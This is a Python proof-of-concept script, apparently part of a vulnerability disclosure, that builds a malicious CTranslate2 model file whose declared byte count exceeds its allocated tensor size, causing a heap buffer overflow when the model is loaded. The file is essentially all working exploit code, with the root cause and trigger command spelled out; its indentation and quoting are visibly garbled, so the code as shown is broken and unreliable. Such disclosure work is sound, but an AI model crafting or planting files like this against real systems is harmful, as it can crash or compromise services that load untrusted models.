#!/usr/bin/env python3
"""
CTranslate2 Heap Buffer Overflow PoC Generator
VIRIDIS-CT2-001 | CWE-122

Generates a malicious CTranslate2 binary model file that triggers a heap buffer
overflow when loaded. Root cause: src/models/model.cc lines 636-656.
Shape and num_bytes are independent fields - no validation that num_bytes <= allocated.

Usage:
  python generate_poc.py
    python -c """import ctranslate2; ctranslate2.Translator('./heapoverflow/')"
    
Expected: malloc(): unaligned tcache chunk detected / Aborted (core dumped) / Exit 134

Tested: ctranslate2 4.7.1, Ubuntu 22.04 x86_64
Author: Viridis Security (viridisnorthllc@gmail.com)
"""
import struct, os, json

def w8(f, v): f.write(struct.pack('<B', v))
def w16(f, v): f.write(struct.pack('<H', v))
def w32(f, v): f.write(struct.pack('<I', v))
def wstr(f, s):
    b = s.encode('utf-8')
        w16(f, len(b))
            f.write(b)
            
            def generate_poc(output_dir='./heapoverflow'):
                os.makedirs(output_dir, exist_ok=True)
                    with open(os.path.join(output_dir, 'config.json'), 'w') as cf:
                            json.dump({}, cf)
                                with open(os.path.join(output_dir, 'model.bin'), 'wb') as f:
                                        w32(f, 4)                    # binary_version = 4
                                                wstr(f, 'TransformerSpec')   # spec name
                                                        w32(f, 1)                    # spec_revision
                                                                w32(f, 1)                    # num_variables = 1
                                                                        wstr(f, 'encoder/layer_0/self_attention/linear_0/weight')
                                                                                w8(f, 1)                     # rank = 1
                                                                                        w32(f, 1)                    # dimension = 1 -> shape [1]
                                                                                                w8(f, 1)                     # type_id = INT8 (1 byte/element)
                                                                                                        w32(f, 4096)                 # num_bytes = 4096 (OVERFLOW: alloc=1)
                                                                                                                f.write(b'A' * 4096)        # payload
                                                                                                                    print(f"""[+] PoC: {output_dir}/model.bin ({os.path.getsize(os.path.join(output_dir, 'model.bin'))} bytes)")
                                                                                                                        print(f"[+] Trigger: ctranslate2.Translator('{output_dir}/')")

if __name__ == '__main__':
    generate_poc()